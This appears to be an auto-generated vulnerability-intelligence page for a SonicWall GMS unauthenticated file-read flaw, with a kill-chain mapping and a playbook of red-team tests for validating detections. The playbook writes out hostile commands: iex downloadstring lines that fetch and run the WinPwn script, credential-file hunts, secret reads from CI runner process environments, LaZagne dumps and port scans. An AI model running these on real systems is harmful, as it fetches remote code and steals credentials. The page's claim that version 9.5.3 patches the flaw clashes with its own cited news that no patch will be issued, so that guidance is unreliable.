CVE-2026-109593

CRITICAL Pub 03/11 Upd 03/11

Overview

This vulnerability is an unauthorized file disclosure caused by improper access control in SonicWall Global Management System (GMS) versions 9.5.2 and earlier. The root cause lies in the failure to restrict unauthenticated network requests to internal GMS file resources. The affected component is the file access mechanism within the GMS management interface, which does not adequately validate requester privileges before serving sensitive internal files.

Vulnerability Description

An unauthenticated attacker with network access to the SonicWall GMS 9.5.2 and earlier versions may be able to read internal GMS files, potentially exposing sensitive information.

Impact

An unauthenticated attacker can retrieve sensitive internal files from SonicWall GMS, potentially disclosing configuration data or credentials stored within those files. This exposure can facilitate further attacks such as network reconnaissance or lateral movement within the environment. No authentication or user interaction is needed, making exploitation straightforward for any attacker with network access to the management system. The business consequence includes data breach risks and potential compromise of network security posture.

Solution

SonicWall has released patches addressing this vulnerability in GMS version 9.5.3 and later, as detailed in advisory SNWLID-2026-0019 available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0019. Users should upgrade SonicWall Global Management System to version 9.5.3 or apply vendor-provided mitigations outlined in the advisory to restrict unauthorized file access.

EPSS vs KEV Prediction — Evolution (30 days)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Information Disclosure

96% info_disclosure

Authentication Bypass

74% auth_bypass

Insecure Direct Object Reference

58% idor

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID	Name	Stage	Tactics	Platforms
T1190	Exploit Public-Facing Application	Initial Access	initial-access	Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059	Command and Scripting Interpreter	Kill Chain	execution	ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001	System Firmware	Kill Chain	persistence, defense-evasion	Windows, Network Devices
T1552.001	Credentials In Files	Kill Chain	credential-access	Containers, IaaS, Linux, macOS, Windows
T1046	Network Service Discovery	Kill Chain	discovery	Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004	SSH	Kill Chain	lateral-movement	ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged

An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.

Command (PowerShell)

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD

An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)

Command (CMD)

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"

T1046 Network Service Discovery for Containers containers Shell

Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...

Command (Shell)

docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh

T1046 Port Scan Linux, macOS Bash

Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.

Command (Bash)

for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done

T1046 Port Scan NMap for Windows Windows PowerShell Privileged

Scan ports to check for listening ports for the local host 127.0.0.1

Command (PowerShell)

nmap #{host_to_scan}

T1046 Port Scan Nmap Linux, macOS Shell Privileged

Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.

Command (Shell)

sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}

T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged

Scan multiple ports to check for listening ports with nmap

Command (Shell)

nmap -Pn -sV -p #{port_range} #{host}

T1046 Port Scan using python Windows PowerShell

Scan ports to check for listening ports with python

Command (PowerShell)

python "#{filename}" -i #{host_ip}

T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell

Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...

Command (PowerShell)

$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}

T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged

Availability of remote desktop services can be checked using get- cmdlet of PowerShell

Command (PowerShell)

Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"

T1046 WinPwn - MS17-10 Windows PowerShell

Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput

T1046 WinPwn - bluekeep Windows PowerShell

Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput

T1046 WinPwn - fruit Windows PowerShell

Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput

T1046 WinPwn - spoolvulnscan Windows PowerShell

Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput

T1046 Windows - Port Scan using RustScan (Port list) Windows PowerShell

Scan ports on a target host using RustScan. Downloads the portable RustScan release binary and scans 127.0.0.1 by default. Uses --greppable so that nmap is not a dependency.

Command (PowerShell)

& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}

T1059 AutoIt Script Execution Windows PowerShell

An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.

Command (PowerShell)

Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"

T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged

Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...

Command (PowerShell)

echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"

T1552.001 Access Drone CI Config File Linux, macOS Shell

Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Gitlab CI Config File Linux, macOS Shell

Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Jenkinsfile Linux, macOS Shell

Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Travis CI Config File Linux, macOS Shell

Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access unattend.xml Windows CMD Privileged

Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.

Command (CMD)

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash

Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...

Command (Bash)

for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done

T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged

[LaZagne Source](https://github.com/AlessandroZ/LaZagne)

Command (Bash)

python2 laZagne.py all

T1552.001 Extract passwords with grep Linux, macOS Shell

Extracting credentials from files

Command (Shell)

grep -ri password #{file_path}
exit 0

T1552.001 Extracting passwords with findstr Windows PowerShell

Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.

Command (PowerShell)

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell

Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...

Command (Shell)

find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null

T1552.001 Find AWS credentials Linux, macOS Shell

Find local AWS credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null

T1552.001 Find Azure credentials Linux, macOS Shell

Find local Azure credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Docker credentials Linux, macOS Shell

Find local Docker credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find GCP credentials Linux, macOS Shell

Find local Google Cloud Platform credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find HashiCorp Vault token files Linux, macOS Shell

Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged

Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...

Command (Shell)

find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Kubernetes user configuration files Linux, macOS Shell

Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.

Command (Shell)

find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null

T1552.001 Find OCI credentials Linux, macOS Shell

Find local Oracle cloud credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null

T1552.001 Find Terraform credential files Linux, macOS Shell

Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.

Command (Shell)

for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done

T1552.001 Find and Access Github Credentials Linux, macOS Shell

Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find database credential files Linux, macOS Shell

Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.

Command (Shell)

for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done

T1552.001 Find npm registry credential files Linux, macOS Shell

Find .npmrc files, which may contain plaintext npm registry authentication tokens.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find system database configuration files Linux Shell Privileged

Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.

Command (Shell)

find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null

T1552.001 List Credential Files via Command Prompt Windows CMD Privileged

Via Command Prompt,list files where credentials are stored in Windows Credential Manager

Command (CMD)

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged

Via PowerShell,list files where credentials are stored in Windows Credential Manager

Command (PowerShell)

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

T1552.001 Search for Git Credential Files Linux, macOS Shell

Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell

Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive

T1552.001 WinPwn - SessionGopher Windows PowerShell

Launches SessionGopher on this system via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

T1552.001 WinPwn - Snaffler Windows PowerShell

Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

T1552.001 WinPwn - passhunt Windows PowerShell

Search for Passwords on this system using passhunt via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

T1552.001 WinPwn - powershellsensitive Windows PowerShell

Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

T1552.001 WinPwn - sensitivefiles Windows PowerShell

Search for sensitive files on this local system using the SensitiveFiles function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

News (1)

CSURFACE Threat Sensor 2026-11-03

SonicWall GMS Vulnerability CVE-2026-109593 Exposes Sensitive Files

CVE-2026-109593 affects SonicWall GMS 9.5.2 and earlier; update to the latest version immediately.

Mentions (24)

24 mentions from 14 sources in the last 7 days BuzzFactor 81 / 100

social bsky.app @alienrick.xyz 2026-11-05 12:37 UTC

End of life. End of patches. Same sentence, Earth. SonicWall GMS 9.5.2 and earlier: CVE-2026-109593, unauthenticated file read over the network. CVSS 9.1. Fix? Migrate to NSM, they said. Your firewall farm's babysitter is a museum exhibit…
Open source
news securityweek.com 2026-11-05 12:33 UTC

Cisco, WatchGuard Release Patches; SonicWall Won’t Fix GMS Flaws - SecurityWeek
Open source
advisory socradar.io 2026-11-05 09:45 UTC

SonicWall GMS Flaws Unpatched After End of Life - SOCRadar
Open source
social bsky.app @cybowl.bsky.social 2026-11-05 08:48 UTC

Vulnérabilités critiques (CVSS ≥ 9) · 2 • Foglight for Databases (Quest) (CVE-2026-92190), CVSS 9.8 (CERT-FR) • SonicWall Global Management System (GMS) (CVE-2026-109593), CVSS 9.1 (CERT-FR)
Open source
social bsky.app @axnews.bsky.social 2026-11-05 07:32 UTC

🛡️ The CVEs that mattered · Wednesday 4 November 1. CVE-2026-111497 · Critical 9.2 · exploited — Google Brotli 2. CVE-2026-119977 · High 8.1 · exploited — WordPress Core 3. CVE-2026-109593 · Critical 9.1 — SonicWall Won't Patch EoL GMS Fla…
Open source
social infosec.exchange @117509315927375519 2026-11-05 07:32 UTC

🛡️ The CVEs that mattered · Wednesday 4 November 1. CVE-2026-111497 · Critical 9.2 · exploited — Google Brotli 2. CVE-2026-119977 · High 8.1 · exploited — WordPress Core 3. CVE-2026-109593 · Critical 9.1 — SonicWall Won't Patch EoL GMS Fla…
Open source
social bsky.app @kitafox.bsky.social 2026-11-05 01:51 UTC

SonicWall GMSの重大な未修正脆弱性が明らかに #SecurityOnline (N/A) securityonline.info/sonicwall-gm...
Open source
news scworld.com 2026-11-05 01:19 UTC

SonicWall warns of unpatched vulnerabilities in end-of-life management software - SC Media
Open source
social mastodon.social @hacksgr 2026-11-04 20:09 UTC

SonicWall has warned of two vulnerabilities impacting end-of-life Global Management System (GMS) version 9.5.2 and earlier. SonicWall stated no patches or updates will be released as the product has reached EoL. Affected: CVE-2026-109593 (…
Open source
social infosec.exchange @edwardk 2026-11-04 19:06 UTC

SonicWall Won’t Patch EoL GMS Flaws That Could Expose Files, Alter Database Records SonicWall has warned of two vulnerabilities in its end-of-life Global Management System that it will not patch, The Hacker News reports. They include CVE-2…
Open source
social bsky.app @axnews.bsky.social 2026-11-04 18:32 UTC

🚨 Breaking: CVE-2026-109593 — Critical 9.1 over the network · no login https://ax-news.com/cve/CVE-2026-109593 #CVE #infosec
Open source
social infosec.exchange @117509315927375519 2026-11-04 18:32 UTC

🚨 Breaking: CVE-2026-109593 — Critical 9.1 over the network · no login https:// ax-news.com/cve/CVE-2026-109593 # CVE # infosec
Open source
social bsky.app @eventmonitor.bsky.social 2026-11-04 18:00 UTC

Developing: Critical Vulnerability (CVE-2026-109593) https://cyber.eventmonitor.net/incident/EM-20261104-6KKL/ #news #cybersecurity
Open source
social bsky.app @windowsforum.com 2026-11-04 18:00 UTC

NIKKE launcher CDN breach delivered K2F backdoor; Teams AI phishing scans default on; VS Code 1.145 adds files.exclude exceptions; SonicWall GMS CVE-2026-109593/109594 won't be patched; Start11 v3 previews widgets. +25 more stories
Open source
social bsky.app @thehackernews.com.web.brid.gy 2026-11-04 17:00 UTC
Open source
news thehackernews.com 2026-11-04 17:00 UTC

SonicWall Won't Patch EoL GMS Flaws That Could Expose Files, Alter Database Records - The Hacker News
Open source
social infosec.exchange @cyberseckyle 2026-11-04 15:45 UTC

SonicWall's Nov 3 advisory covers two flaws in EOL GMS 9.5.2 and earlier: unauthenticated file read (CVE-2026-109593) and authenticated SQL injection (CVE-2026-109594). No patch is planned. Inventory legacy GMS, restrict management access…
Open source
news bleepingcomputer.com 2026-11-04 14:42 UTC

SonicWall warns of unpatched flaws in end-of-life GMS software - BleepingComputer
Open source
social infosec.exchange @116797276219291526 2026-11-03 23:38 UTC

The SonicWall GMS vulnerabilities patch notice details two critical SonicWall GMS vulnerabilities. Migrate EOL systems to Network Security Manager now. # SonicWall # SonicWallGMS # CVE2026109593 # CVE2026109594 # NetworkSecurity # Cybersec…
Open source
social bsky.app @postac001.bsky.social 2026-11-03 23:14 UTC

SonicWall GMS 9.5.2以前のバージョンで、認証されていない攻撃者がネットワーク経由で内部ファイルを読み取り、機密情報が漏洩する可能性がある。 CVE-2026-109593 CVSS 9.1 | CRITICAL
Open source
social bsky.app @stackflag.bsky.social 2026-11-03 18:10 UTC

CVE-2026-109593 - global management system (gms) If someone on the same network can reach SonicWall Global Management System version 9.5.2 or older, they may be able to open and read files stored inside the system.… Too many irrelevant or…
Open source
social bsky.app @stemshop.bsky.social 2026-11-03 18:07 UTC

🚨 CVE-2026-109593 — CVSS 9.1 CRITICAL An unauthenticated attacker with network access to the SonicWall GMS 9.5.2 and earlier versions may be able... 🔎 https://stemshop.top/cve/CVE-2026-109593 #CVE #CyberSecurity #InfoSec
Open source
social bsky.app @cvesentinel.bsky.social 2026-11-03 17:24 UTC

🚨 CVE-2026-109593 CVSS 9.1 / EPSS 0.52% / KEV: No TL;DR: An unauthenticated attacker with network access to the SonicWall GMS 9.5.2 and earlier versions may be able to read internal GMS files, potentially exposing… https://cvesentinel.com/…
Open source
news threatsensor.csurface.io 2026-11-03 16:25 UTC

SonicWall GMS Vulnerability CVE-2026-109593 Exposes Sensitive Files
Open source

Title	Tags	URL
nvd.nist.gov	NVD reference	https://nvd.nist.gov/vuln/detail/CVE-2026-109593
psirt.global.sonicwall.com	GitHub CVE vendor-advisory	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0019

CVSS Analysis

CVSS v3.1

9.1

EXPLOITABILITY

Attack Vector

Network AV:N

Attack Complexity

Low AC:L

Privileges Required

None PR:N

User Interaction

None UI:N

SCOPE

Scope

Unchanged S:U

IMPACT

Confidentiality

High C:H

Integrity

None I:N

Availability

High A:H

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Attack Vectors

CWE

CWE-636

Prioritization

BuzzFactor

81 / 100

Threat Level

CISA KEV

Exploited in Wild

Exploit Available

PoC Available

Ransomware

CVE-2026-109593

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products

Exploits

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns

Red Team Playbook

Detection & Response Rules

News (1)

Mentions (24)

References (2)